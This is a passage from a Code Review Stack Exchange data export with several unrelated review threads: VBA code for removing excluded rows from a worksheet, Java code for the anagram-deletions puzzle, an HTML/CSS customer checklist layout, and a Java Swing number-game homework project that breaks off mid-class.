.FilterMode) Or .FilterMode Then\n .AutoFilter.ShowAllData\n End If\nEnd With\nWith issuesWS\n If (.AutoFilterMode And .FilterMode) Or .FilterMode Then\n .AutoFilter.ShowAllData\n End If\nEnd With\n</code></pre>\n\n<p>Next, because there may be a large dataset, I would copy the data on the worksheet into a <a href=\"https://excelmacromastery.com/excel-vba-array/#Reading_from_a_Range_of_Cells_to_an_Array\" rel=\"nofollow noreferrer\">memory-based array</a>. Working out of memory is MUCH faster than working with the <code>Range</code> object in Excel. Later, the process of checking to see if a value exists in another dataset is perfect for a <a href=\"https://excelmacromastery.com/vba-dictionary/\" rel=\"nofollow noreferrer\"><code>Dictionary</code></a>. So we'll loop through all the exclusions and create a dictionary item for each entry.</p>\n\n<pre><code>Dim exclusionData As Variant\nexclusionData = exclusionsWS.UsedRange\n\nDim exclusion As Dictionary\nSet exclusion = New Dictionary\nDim i As Long\nFor i = 2 To lastRow\n If Not exclusionData(i, 10) = vbNullString Then\n exclusion.Add exclusionData(i, 10), i\n End If\nNext i\n</code></pre>\n\n<p>After that, my example shows checking each Issue against the Dictionary and clearing out any excluded Issues. In order to copy the remaining issues back to the worksheet, we have to clear ALL the issues first, then copy the array data to the worksheet.</p>\n\n<p>Here's the whole routine in a single view:</p>\n\n<pre><code>Option Explicit\n\nPublic Sub RemoveExclusions()\n Dim exclusionsWS As Worksheet\n Dim issuesWS As Worksheet\n Set exclusionsWS = ThisWorkbook.Sheets(\"Exclusions\")\n Set issuesWS = ThisWorkbook.Sheets(\"Issues\")\n With exclusionsWS\n If (.AutoFilterMode And .FilterMode) Or .FilterMode Then\n .AutoFilter.ShowAllData\n End If\n End With\n With issuesWS\n If (.AutoFilterMode And .FilterMode) Or .FilterMode Then\n .AutoFilter.ShowAllData\n End If\n End With\n\n Dim lastRow As Long\n With exclusionsWS\n lastRow = .Cells(.Rows.Count, \"J\").End(xlUp).Row\n End With\n\n '--- move the exclusion data to a memory-based array\n ' for processing into a dictionary\n Dim exclusionData As Variant\n exclusionData = exclusionsWS.UsedRange\n\n Dim exclusion As Dictionary\n Set exclusion = New Dictionary\n Dim i As Long\n For i = 2 To lastRow\n If Not exclusionData(i, 10) = vbNullString Then\n exclusion.Add exclusionData(i, 10), i\n End If\n Next i\n\n '--- move all the issues into a memory-based array also\n ' and clear the data from exclusion matches\n Dim issuesData As Variant\n Dim excludedCount As Long\n issuesData = issuesWS.UsedRange\n For i = 2 To UBound(issuesData, 1)\n If exclusion.Exists(issuesData(i, 10)) Then\n issuesData(i, 10) = vbNullString\n excludedCount = excludedCount + 1\n End If\n Next i\n\n '--- now collapse all the empty rows by copying the remaining\n ' issues into a new array, then copy the array back to the\n ' worksheet\n Dim remainingIssues As Variant\n ReDim remainingIssues(1 To UBound(issuesData, 1) - excludedCount, _\n 1 To UBound(issuesData, 2))\n Dim newIssue As Long\n newIssue = 1\n Dim j As Long\n For i = 1 To UBound(issuesData, 1)\n If Not issuesData(i, 10) = vbNullString Then\n For j = 1 To UBound(issuesData, 2)\n remainingIssues(newIssue, j) = issuesData(i, j)\n Next j\n newIssue = newIssue + 1\n End If\n Next i\n issuesWS.UsedRange.ClearContents\n issuesWS.Range(\"A1\").Resize(UBound(remainingIssues, 1), _\n UBound(remainingIssues, 2)) = remainingIssues\nEnd Sub\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T19:59:11.950",
"Id": "420954",
"Score": "0",
"body": "wow! this is amazing. definitely a few concepts i still have to wrap my head around and test but thank you for this explanation."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T14:53:46.503",
"Id": "217558",
"ParentId": "217506",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": "217558",
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T17:25:04.413",
"Id": "217506",
"Score": "2",
"Tags": [
"performance",
"beginner",
"vba",
"excel"
],
"Title": "VBA - If value in sheet1 found in sheet2, then delete data from sheet2"
} | 217506 |
<p><strong>Problem Statement</strong></p>
<blockquote>
<p>Alice is taking a cryptography class and finding anagrams to be very useful. We consider two strings to be anagrams of each other if the first string's letters can be rearranged to form the second string. In other words, both strings must contain the same exact letters in the same exact frequency. For example, bacdc and dcbac are anagrams, but bacdc and dcbad are not.</p>
<p>Alice decides on an encryption scheme involving two large strings where encryption is dependent on the minimum number of character deletions required to make the two strings anagrams. Can you help her find this number?</p>
<p>Given two strings, a and b, that may or may not be of the same length, determine the minimum number of character deletions required to make a and b anagrams. Any characters can be deleted from either of the strings.</p>
</blockquote>
<p><strong>Solution</strong></p>
<pre><code>//Valid Test Case For Reference
static void ransomeNoteTrue() {
String a = "cde";
String b = "abc";
int result = makeAnagram(a, b);
int expected = 4;
assert (result == expected);
}
static int makeAnagram(String a, String b) {
Character[] aArray = a.chars().mapToObj(x -> (char) x).toArray(Character[]::new);
Character[] bArray = b.chars().mapToObj(x -> (char) x).toArray(Character[]::new);
Map<Character, Long> aMap = getFrequencyMapFromArray(aArray);
Map<Character, Long> bMap = getFrequencyMapFromArray(bArray);
return countError(aMap, bMap);
}
private static int countError( Map<Character, Long> aMap, Map<Character, Long> bMap ) {
long deletedChars = 0;
for( char ch='a'; ch<='z'; ch++) {
if ( aMap.containsKey(ch) && !bMap.containsKey(ch) )
deletedChars += aMap.get(ch);
else if( bMap.containsKey(ch) && !aMap.containsKey(ch) )
deletedChars += bMap.get(ch);
else if( bMap.containsKey(ch) && aMap.containsKey(ch) )
deletedChars += Math.abs( aMap.get(ch) - bMap.get(ch));
}
return (int)deletedChars;
}
private static Map<Character, Long> getFrequencyMapFromArray(Character[] arr) {
return Arrays.stream(arr)
.collect(Collectors.groupingBy(Function.identity(), Collectors.counting()));
}
</code></pre>
<p><strong>The main function to review is makeAnagram().</strong></p>
<p>Looking forward to your reviews on -</p>
<ol>
<li>What other improvements can be done?</li>
<li>What other ways could be there to the problem, as the current
approach is brute force?</li>
</ol>
<p>Thank you.</p>
| [] | [
{
"body": "<p>This is actually a pretty solid solution (I am particularly fond of your <code>getFrequencyMapFromArray()</code>). The only \"brute force\" section I notice is your for loop in <code>countError()</code> loops through all letters a-z, rather than only the letters observed. </p>\n\n<p>You could reduce this to only those present in the maps by using the <code>map.keySet()</code> and looping through both maps' key sets. As a bonus, when looping through the first keySet, <code>map.remove()</code> the keys present in both from the next map, to reduce your duplication even further! Should look something like this:</p>\n\n<pre class=\"lang-java prettyprint-override\"><code>private static int countError( Map<Character, Long> aMap, Map<Character, Long> bMap ) {\n long deletedChars = 0;\n for(Character key : aMap.keySet()){\n if (!bMap.containsKey(key) ) {\n deletedChars += aMap.get(key);\n } else if( bMap.containsKey(key)){\n deletedChars += Math.abs( aMap.get(key) - bMap.get(key));\n bMap.remove(key);//Remove here bc we have already checked this.\n }\n }\n for(Character key : bMap.keySet()){\n if(!aMap.containsKey(key)){\n deletedChars += bMap.get(key);\n }//No need to check for 'both maps contain' bc we have removed all such cases\n\n }\n return (int)deletedChars;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T07:22:22.310",
"Id": "421157",
"Score": "0",
"body": "Thank you @DapperDan. Your countError does reduce a little bit of running time :)"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T13:36:39.037",
"Id": "217555",
"ParentId": "217508",
"Score": "1"
}
},
{
"body": "<h2>Do not map to array</h2>\n\n<p>I appreciate that streaming strings is a little messy. However, there is no need to create an array; instead we can just transform the stream. I would remove the arrays and change <code>getFrequencyMap</code> to take a <code>String</code>.</p>\n\n<h2>Use <code>Map::getOrDefault</code> to simplify <code>countError</code></h2>\n\n<p>In particular, if you do <code>aMap.getOrDefault(ch, 0)</code> then the <code>Math.abs</code> case always works.</p>\n\n<p>Unlike @DapperDan's solution, this still requires looping through all 26 characters; however, the logic is a lot simpler. At least on my system, my approach is faster, even in you example when each map has only 3 elements. The cost of iterating through 26 characters is very low compared to map operations.</p>\n\n<h2>Use of longs</h2>\n\n<p>I notice you use <code>Longs</code> throughout (presumably due to <code>Collectors.counting()</code> returning a <code>Long</code>) but then cast to <code>int</code> at the end. Why not just return a <code>long</code>?</p>\n\n<h2>Stream <code>rangeClosed</code> vs for loop</h2>\n\n<p>Mostly a matter of style, but it is easy to replace the for loop with a stream.</p>\n\n<h2>Code</h2>\n\n<p>Applying these changes should yield something like</p>\n\n<pre><code>static long makeAnagram(String a, String b) {\n return countError(getFrequencyMap(a), getFrequencyMap(b));\n}\n\nprivate static long countError(Map<Character, Long> aMap, Map<Character, Long> bMap) {\n return IntStream.rangeClosed('a', 'z')\n .mapToObj(x -> Character.valueOf((char)x))\n .mapToLong(c -> Math.abs(aMap.getOrDefault(c, 0l) - bMap.getOrDefault(c, 0l)))\n .sum();\n}\n\nprivate static Map<Character, Long> getFrequencyMap(String s) {\n return s.chars()\n .mapToObj(x -> Character.valueOf((char)x))\n .collect(Collectors.groupingBy(Function.identity(), Collectors.counting()));\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-05-17T07:13:20.083",
"Id": "425854",
"Score": "0",
"body": "Thank you Benjamin. It is nice to see these improvements."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-05-16T14:57:45.980",
"Id": "220352",
"ParentId": "217508",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T18:27:54.797",
"Id": "217508",
"Score": "0",
"Tags": [
"java",
"algorithm",
"programming-challenge",
"dynamic-programming"
],
"Title": "Making Anagram Problem Implementation"
} | 217508 |
<p><strong>HTML & CSS</strong></p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>.route-checklist {
display: flex;
align-items: center;
flex-wrap: wrap;
}
.route-checklist.uniform {
width: 1000px;
}
.route-checklist:not(.uniform) {
justify-content: center;
}
.customer-checklist {
padding: 10px 30px;
margin: 15px;
border: 1px solid black;
border-radius: 10px;
vertical-align: middle;
}
.route-checklist.uniform > .customer-checklist {
min-width: 400px;
}
.route-checklist:not(.uniform) > .customer-checklist {
text-align: center;
}
.customer-checklist .customer {
font-weight: bold;
}
.route-checklist.uniform > .customer-checklist .customer {
width: 300px;
/* display: inline-block; */
}
.checkin-checklist {
justify-content: space-between;
flex-wrap: wrap;
}
.route-checklist.uniform .checkin-checklist {
display: inline-flex;
vertical-align: top;
}
.route-checklist:not(.uniform) .checkin-checklist {
display: flex;
width: 250px;
margin: auto;
text-align: left;
}
.checklist-item {
width: 125px;
text-align: left;
}
.checklist-item.large {
width: 100%;
text-align: center;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><!-- Setup #1 - Solo version -->
<h2>Solo Version</h2>
<p>Appears on the pages of each link.</p>
<div class="route-checklist">
<div id="1" class="customer-checklist">
<span class="customer">Test Customer #1</span>
<div class="checkin-checklist">
<div class="checklist-item ">
<input type="checkbox" class="truck stock-checkbox check-in-checkbox" disabled="disabled">
<a class="truck stock-link" href="#truckstock/18458">Truck Stock</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="deliveries-checkbox check-in-checkbox" disabled="disabled">
<a class="deliveries-link" href="#deliveries/18458">Deliveries</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="returns-checkbox check-in-checkbox" disabled="disabled">
<a class="returns-link" href="#returns/18458">Returns</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="onhands-checkbox check-in-checkbox" disabled="disabled">
<a class="onhands-link" href="#onhands/18458">OnHands</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="buybacks-checkbox check-in-checkbox" disabled="disabled">
<a class="buybacks-link" href="#buybacks/18458">BuyBacks</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="samples-checkbox check-in-checkbox" disabled="disabled">
<a class="samples-link" href="#samples/18458">Samples</a>
</div>
<div class="checklist-item large">
<a class="back-link" href="#">Back to List</a>
</div>
</div>
</div>
</div>
<!-- Setup #2: "uniform" aka List version -->
<h2>List Version</h2>
<p>This is the checklist that the "Back to List" link refers.</p>
<div class="route-checklist uniform">
<div id="1" class="customer-checklist">
<span class="customer">Test Customer #1</span>
<div class="checkin-checklist">
<div class="checklist-item ">
<input type="checkbox" class="truck stock-checkbox check-in-checkbox" disabled="disabled">
<a class="truck stock-link" href="#truckstock/18458">Truck Stock</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="deliveries-checkbox check-in-checkbox" disabled="disabled">
<a class="deliveries-link" href="#deliveries/18458">Deliveries</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="returns-checkbox check-in-checkbox" disabled="disabled">
<a class="returns-link" href="#returns/18458">Returns</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="onhands-checkbox check-in-checkbox" disabled="disabled">
<a class="onhands-link" href="#onhands/18458">OnHands</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="buybacks-checkbox check-in-checkbox" disabled="disabled">
<a class="buybacks-link" href="#buybacks/18458">BuyBacks</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="samples-checkbox check-in-checkbox" disabled="disabled">
<a class="samples-link" href="#samples/18458">Samples</a>
</div>
</div>
</div>
<div id="2" class="customer-checklist">
<span class="customer">Test Customer #2</span>
<div class="checkin-checklist">
<div class="checklist-item ">
<input type="checkbox" class="truck stock-checkbox check-in-checkbox" disabled="disabled">
<a class="truck stock-link" href="#truckstock/18459">Truck Stock</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="deliveries-checkbox check-in-checkbox" disabled="disabled">
<a class="deliveries-link" href="#deliveries/18459">Deliveries</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="returns-checkbox check-in-checkbox" disabled="disabled">
<a class="returns-link" href="#returns/18459">Returns</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="onhands-checkbox check-in-checkbox" disabled="disabled">
<a class="onhands-link" href="#onhands/18459">OnHands</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="buybacks-checkbox check-in-checkbox" disabled="disabled">
<a class="buybacks-link" href="#buybacks/18459">BuyBacks</a>
</div>
<div class="checklist-item ">
<input type="checkbox" class="samples-checkbox check-in-checkbox" disabled="disabled">
<a class="samples-link" href="#samples/18459">Samples</a>
</div>
</div>
</div>
</div></code></pre>
</div>
</div>
</p>
<ul>
<li><strong>List Style</strong> - Made so that more customer checklists are visible on the page at one time.</li>
<li><strong>Solo Style</strong> - Made so that it fits in the empty space next to another control that is on every page linked by the control.</li>
</ul>
<p><strong>Concerns</strong></p>
<p>I'm not really worried about the visuals of the site, so much as</p>
<ul>
<li>Are there more efficient ways to accomplish these styles?</li>
<li>Am I missing some best practices I'm not aware of?</li>
</ul>
<p><em>Note - In case it matters I have to support IE11, Chrome, and Safari (iPad).</em></p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T20:32:41.310",
"Id": "217511",
"Score": "1",
"Tags": [
"html",
"css"
],
"Title": "HTML & CSS best practices for this customer checklist control?"
} | 217511 |
<p>This is a homework project (Soft. Eng.) which I have completed. My teacher gave me a 91, but I am unhappy with this grade because my code is quite messy. (Please excuse incomplete Javadoc, the code is fully functioning.)</p>
<ul>
<li><p>In particular, I am worried about checking the win condition in a view: TilePanel.java's paintComponent method.</p></li>
<li><p>I am also worried about the long method calls that my methods require, for example in TilePanelMouseAdapter.java.</p></li>
<li><p>Lastly, I am not too sure of general best practices and how "OOP"-friendly my code is.</p></li>
</ul>
<p><strong>Here is the project repo for convenience:</strong> <a href="https://github.com/eacdev/meansum/tree/4e985b9dbc1bd69807cac218d3a95d4554ca9373" rel="nofollow noreferrer">https://github.com/eacdev/meansum</a></p>
<p><strong>GameFrame.java</strong></p>
<pre><code>package logic;
import javax.swing.Timer;
import ui.TimerActionListener;
import javax.swing.JFrame;
import javax.swing.SwingUtilities;
/**
* NOTE: YOU DO NOT HAVE TO MAKE ANY CHANGES TO THIS CLASS
*
* The game frame is the main window of the game. It instantiates the model and
* the view-controller. The frame is filled by a single panel containing all the
* elements, which is the {@link GameViewController} object.
*
*/
public class GameFrame extends JFrame {
private static final long serialVersionUID = 1L;
/**
* Handle both the graphical interface (tiles, labels, buttons, etc.) and the
* user input (mouse events, button clicks, etc.)
*/
private GameViewController gameViewController;
/**
* Initialize the main properties of the game window
*/
public void initUI() {
setTitle("Mean Sum");
setSize(800, 300);
setLocationRelativeTo(null);
setDefaultCloseOperation(EXIT_ON_CLOSE);
}
/**
* The constructor instantiates the model and view-controller and builds the
* game window.
*/
public GameFrame() {
// Initialize the interface
initUI();
// Initialize the view and set it as the main component our window
gameViewController = new GameViewController();
setContentPane(gameViewController);
}
public static void main(String[] args) {
SwingUtilities.invokeLater(new Runnable() {
@Override
public void run() {
GameFrame game = new GameFrame();
game.setVisible(true);
}
});
}
}
</code></pre>
<p><strong>GameModel.java</strong></p>
<pre><code>package logic;
import java.util.ArrayList;
import java.util.Random;
/**
* The game model handles the logic of the game (generating the numbers, etc.).
* The instance of the model is used by the view-controller module to trigger
* actions (for example, generate a new game) and retrieve information about the
* current status of the game (the digits, the goal, etc.).
*
*/
public class GameModel {
/**
* List of numbers that are available.
*/
private ArrayList<Integer> numbers;
/**
* List of selections. Every time a selection is made, it is added to this list.
*/
private ArrayList<Integer[]> selections;
private int resets;
/**
* Minimum number of number groups to generate.
*/
private static final int MIN_NUMBER_OF_GROUPS = 3;
/**
* Maximal number of number groups to generate.
*/
private static final int MAX_NUMBER_OF_GROUPS = 6;
/**
* Generates numbers with a certain probability and a certain number of groups.
* These numbers are used throughout the game and are drawn on the tiles.
*/
private ArrayList<Integer> generateNumbers(ArrayList<Integer> numbers, int numberOfGroups) {
numbers.clear();
for (int i = 0; i <= numberOfGroups; i++) {
int generatedNumber = RandomUtils.getRandomGameNumber();
numbers.add(generatedNumber);
}
System.out.println(numbers);
return numbers;
}
/**f the concatenated numbers.
*/
public String numbersToString(ArrayList<Integer> numbers) {
StringBuilder digits = new StringBuilder();
for (int i = 0; i < numbers.size(); i++) {
digits.append(numbers.get(i).toString());
}
return digits.toString();
}
/**
* Get the current sum of the selections.
*
* The numbers array is first converted to a char array. Each selection is a
* integer array, which contains the indexes in the numbers char array that
* correspond to a single selection.
*
* This is a selection: {1, 2} which means that numbersArray[1] and
* numbersArray[2] are in the same selection.
*
* Therefore, if a selection has more than 1 integer in it, we know to combine
* the numbers to form a 2 digit number.
*
* @return sum of the selections.
*/
public int getSelectionSum(ArrayList<Integer> numbers, ArrayList<Integer[]> selections) {
int currentSum = 0;
char[] numbersArray = numbersToString(numbers).toCharArray();
for (Integer[] selection : selections) {
if (selection.length > 1) {
int combinedNumber = Integer
.valueOf(String.valueOf(numbersArray[selection[0]]) + String.valueOf(numbersArray[selection[1]]));
currentSum += combinedNumber;
continue;
}
currentSum += Integer.valueOf(String.valueOf(numbersArray[selection[0]]));
}
return currentSum;
}
/**
* Gets the goal of the game which is a sum of all the generated number.
*
* @return the goal of the game
*/
public int getGoal(ArrayList<Integer> numbers) {
int goal = 0;
for (int i = 0; i < numbers.size(); i++) {
goal += numbers.get(i);
}
return goal;
}
/**
* Checks if a selection is valid or not.
*
* @param indexA
* @param indexB
* @return selection is valid or not.
*/
private boolean isValidSelection(ArrayList<Integer> numbers, ArrayList<Integer[]> selections, int indexA,
int indexB) {
// If one of the tiles is already selected.
for (Integer[] selection : selections) {
for (int i = 0; i < selection.length; i++) {
if (indexA == selection[i] || indexB == selection[i]) {
return false;
}
}
}
// If they are not valid.
if (indexA != indexB && indexA + 1 != indexB && indexB != -1) {
return false;
}
boolean indexAOutOfBounds = indexA < 0 || indexA > numbersToString(numbers).toCharArray().length;
boolean indexBOutOfBounds = indexB != -1 && indexB < 0 || indexB > numbersToString(numbers).toCharArray().length;
if (indexAOutOfBounds || indexBOutOfBounds) {
return false;
}
return true;
}
/**
* Selects a single tile.
*
* @param indexA Index of the tile we want to select.
* @return If it's been selected or not.
*/
public boolean select(ArrayList<Integer> numbers, ArrayList<Integer[]> selections, int indexA) {
if (!isValidSelection(numbers, selections, indexA, -1))
return false;
selections.add(new Integer[] { indexA });
return true;
}
/**
* Create a new group selection.
*
* @param indexA
* @param indexB
* @return if the selection is successful.
*/
public boolean select(ArrayList<Integer> numbers, ArrayList<Integer[]> selections, int indexA, int indexB) {
if (!isValidSelection(numbers, selections, indexA, indexB))
return false;
selections.add(new Integer[] { indexA, indexB });
return true;
}
/**
* Checks if all tiles are selected. Necessary for win or lose conditions.
*
* @return if all tiles are selected.
*/
private boolean allTilesAreSelected(ArrayList<Integer> numbers, ArrayList<Integer[]> selections) {
int numberOfSelections = 0;
for (Integer[] selection : selections) {
for (int i = 0; i < selection.length; i++) {
numberOfSelections++;
}
}
return numberOfSelections == numbersToString(numbers).length();
}
/**
* A win is defined by all tiles being selected and the sum of the selections is
* equal to the game's goal.
*
* @return if the user won.
*/
public boolean checkWin(ArrayList<Integer> numbers, ArrayList<Integer[]> selections) {
return allTilesAreSelected(numbers, selections) && getSelectionSum(numbers, selections) == getGoal(numbers);
}
/**
* A loss is defined by all tiles being selected and the sum of selections is
* not equal to the game's goal.
*
* @return if the user lost.
*/
public boolean checkLose(ArrayList<Integer> numbers, ArrayList<Integer[]> selections) {
return allTilesAreSelected(numbers, selections) && getSelectionSum(numbers, selections) != getGoal(numbers);
}
public void newGame(ArrayList<Integer> numbers, ArrayList<Integer[]> selections) {
numbers = generateNumbers(numbers, RandomUtils.getRandom(MIN_NUMBER_OF_GROUPS, MAX_NUMBER_OF_GROUPS));
selections.clear();
setSelections(new ArrayList<Integer[]>());
}
public void setSelections(ArrayList<Integer[]> selections) {
this.selections = selections;
}
public ArrayList<Integer[]> getSelections() {
return this.selections;
}
public ArrayList<Integer> getNumbers() {
return this.numbers;
}
public void setNumbers(ArrayList<Integer> numbers) {
this.numbers = numbers;
}
public int getResets() {
return this.resets;
}
public void setResets(int resets) {
this.resets = resets;
}
public GameModel() {
this.numbers = generateNumbers(new ArrayList<Integer>(),
RandomUtils.getRandom(MIN_NUMBER_OF_GROUPS, MAX_NUMBER_OF_GROUPS));
this.selections = new ArrayList<Integer[]>();
}
}
</code></pre>
<p><strong>GameViewController.java</strong></p>
<pre><code>package logic;
import javax.swing.BoxLayout;
import javax.swing.JButton;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.Timer;
import ui.NextButtonActionListener;
import ui.TilePanel;
import ui.TilePanelMouseAdapter;
import ui.TimerActionListener;
import ui.ResetButtonActionListener;
/**
* The view-controller class handles the display (tiles, buttons, etc.) and the
* user input (actions from selections, clicks, etc.).
*
*/
public class GameViewController extends JPanel {
private static final long serialVersionUID = 1L;
/**
* Instance of the game (logic, state, etc.)
*/
private GameModel gameModel;
/**
* A single tile panel displays all the tiles of the game
*/
private TilePanel tilePanel;
private Timer timer;
/**
* Button used to generate a new game.
*/
private JButton nextButton;
/**
* Button used to reset the current game and try again.
*/
private JButton resetButton;
/**
* Label used to display the current sum of the selections.
*/
private JLabel sumLabel;
/**
* Label used to display the goal sum of the current game.
*/
private JLabel goalLabel;
private JLabel timeLabel;
private JLabel numberOfResetsLabel;
private final String GOAL_LABEL = "[Goal] ";
private final String SUM_LABEL = "[Sum] ";
private final String TIME_LABEL = "[Time] ";
private final String DEFAULT_TIME_LABEL = "00:00";
private final String RESETS_LABEL = "[Resets] ";
private final String NEXT_BUTTON_LABEL = "Next";
private final String RESET_BUTTON_LABEL = "Reset";
/**
* Setup the listeners for our buttons and components.
*/
private void setupListeners() {
nextButton.addActionListener(new NextButtonActionListener(this));
resetButton.addActionListener(new ResetButtonActionListener(this));
tilePanel.addMouseListener(new TilePanelMouseAdapter(this));
}
/**
* Create new instances and set text for all UI elements.
*/
private void initializeUIElements() {
tilePanel = new TilePanel(gameModel);
this.add(tilePanel);
this.goalLabel = new JLabel(GOAL_LABEL + gameModel.getGoal(gameModel.getNumbers()));
this.add(goalLabel);
this.sumLabel = new JLabel(
SUM_LABEL + gameModel.getSelectionSum(gameModel.getNumbers(), gameModel.getSelections()));
this.add(sumLabel);
this.timeLabel = new JLabel(TIME_LABEL + DEFAULT_TIME_LABEL);
this.add(timeLabel);
this.numberOfResetsLabel = new JLabel(RESETS_LABEL + String.valueOf(gameModel.getResets()));
this.add(numberOfResetsLabel);
this.nextButton = new JButton(NEXT_BUTTON_LABEL);
this.add(nextButton);
this.resetButton = new JButton(RESET_BUTTON_LABEL);
this.add(resetButton);
}
/**
* Reset the labels to a new game's values.
*/
public void resetLabels() {
this.goalLabel.setText(GOAL_LABEL + gameModel.getGoal(gameModel.getNumbers()));
this.sumLabel.setText(SUM_LABEL + gameModel.getSelectionSum(gameModel.getNumbers(), gameModel.getSelections()));
this.updateResetsLabel(gameModel.getResets());
}
public void updateTimeLabel(int numberOfMinutes, int numberOfSeconds) {
this.timeLabel.setText(TIME_LABEL + String.format("%02d:%02d", numberOfMinutes, numberOfSeconds));
}
public void updateResetsLabel(int numberOfResets) {
this.numberOfResetsLabel.setText(RESETS_LABEL + String.valueOf(numberOfResets));
}
public JLabel getSumLabel() {
return this.sumLabel;
}
public JLabel getGoalLabel() {
return this.goalLabel;
}
public JLabel getTimeLabel() {
return this.timeLabel;
}
public Timer getTimer() {
return this.timer;
}
public GameModel getGameModel() {
return this.gameModel;
}
public TilePanel getTilePanel() {
return this.tilePanel;
}
public GameViewController() {
gameModel = new GameModel();
// The layout defines how components are displayed
// (here, stacked along the Y axis)
setLayout(new BoxLayout(this, BoxLayout.Y_AXIS));
initializeUIElements();
setupListeners();
timer = new Timer(1000, new TimerActionListener(this));
timer.start();
}
}
</code></pre>
<p><strong>TilePanel.java</strong></p>
<pre><code>package ui;
import java.awt.Color;
import java.awt.Font;
import java.awt.Graphics;
import javax.swing.JPanel;
import javax.swing.Timer;
import logic.GameModel;
import logic.RandomUtils;
import ui.TimerActionListener;
/**
* The tile panel displays all the tiles (one per digit) of the game.
*
*/
public class TilePanel extends JPanel {
private static final long serialVersionUID = 1L;
/**
* The tile panel object holds a reference to the game model to request
* information to display (view) and to modify its state (controller)
*/
private GameModel gameModelHandle;
/**
* A table of colours that can be used to draw the tiles
*/
private Color[] colours;
/**
* Each index corresponds to each tile's colour.
*/
private Color[] currentTileColours;
Color selectionColour = null;
/**
* The number of tiles in the interface.
*/
private int numberOfTiles;
@Override
protected void paintComponent(Graphics g) {
super.paintComponent(g);
// White tiles by default.
colourAllTiles(Color.WHITE, g);
// If there are selections, colour them.
if (gameModelHandle.getSelections().size() != 0) {
colourSelectionTiles(g);
}
// Green tiles when user wins.
if (gameModelHandle.checkWin(gameModelHandle.getNumbers(), gameModelHandle.getSelections())) {
colourAllTiles(Color.GREEN, g);
}
// Red tiles when user loses.
if (gameModelHandle.checkLose(gameModelHandle.getNumbers(), gameModelHandle.getSelections())) {
colourAllTiles(Color.RED, g);
}
// At the end, draw the tile numbers over the tiles.
drawTileNumbers(g);
}
/**
* Initialize an array of pre-set colours. The colours are picked to ensure
* readability and avoid confusion.
*/
private void initializeColours() {
// Some tile colours in the '0xRRGGBB' format
String[] tileColourCodes = new String[] { "0x89CFF0", "0xF4C2C2", "0xFFBF00", "0xFBCEB1", "0x6495ED", "0x9BDDFF",
"0xFBEC5D", "0xFF7F50", "0x00FFFF", "0x98777B", "0x99BADD", "0x654321" };
// Allocate and fill our colour array with the colour codes
colours = new Color[tileColourCodes.length];
for (int i = 0; i < colours.length; ++i)
colours[i] = Color.decode(tileColourCodes[i]);
currentTileColours = new Color[numberOfTiles];
for (int i = 0; i < currentTileColours.length; i++) {
currentTileColours[i] = Color.WHITE;
}
}
/**
* Gets the index of the tile corresponding to the coordinates.
*
* @param x X position of the coordinates.
* @param y Y position of the coordinates.
* @return the tile index (starting from 0) or -1 if invalid tile.
*/
public int getTileIndex(int windowWidth, int numberOfTiles, int x, int y) {
// 128 is the height of the tiles. If we're below them, it's not
// a valid tile.
if (y > 128) {
return -1;
}
// Algorithm which determines the tile index from the X coordinate.
return (int) Math.ceil(x / (windowWidth / numberOfTiles));
}
/**
* Checks if a colour is already present in one of the selections.
*
* @param colour A colour we want to use.
* @return If the colour is already in use or not.
*/
private boolean selectionColourAlreadyInUse(Color colour) {
for (int i = 0; i < currentTileColours.length; i++) {
if (currentTileColours[i] == colour)
return true;
}
return false;
}
/**
* Draw tile numbers in a black font in the middle of each tile.
*
* @param g Graphics object
*/
private void drawTileNumbers(Graphics g) {
// For each tile.
for (int i = 0; i < numberOfTiles; i++) {
g.setFont(new Font("Monospace", Font.PLAIN, 20));
g.setColor(Color.BLACK);
// Draw a number in the middle of each tile.
g.drawString(String.valueOf(gameModelHandle.numbersToString(gameModelHandle.getNumbers()).toCharArray()[i]),
i * (this.getWidth() / numberOfTiles) + (this.getWidth() / numberOfTiles) / 2, 128 / 2);
}
}
/**
* Colours a single tile
*
* @param colour the colour to use.
* @param tileIndex the tile to colour
* @param g the graphics object
*/
private void colourTile(Color colour, int tileIndex, Graphics g) {
g.setColor(colour);
g.fillRect(tileIndex * (this.getWidth() / numberOfTiles), 0, this.getWidth() / numberOfTiles, 128);
}
/**
* Colours all tiles in a given colour.
*
* @param colour the colour to use.
* @param g the graphics object.
*/
private void colourAllTiles(Color colour, Graphics g) {
for (int i = 0; i < numberOfTiles; i++) {
colourTile(colour, i, g);
}
}
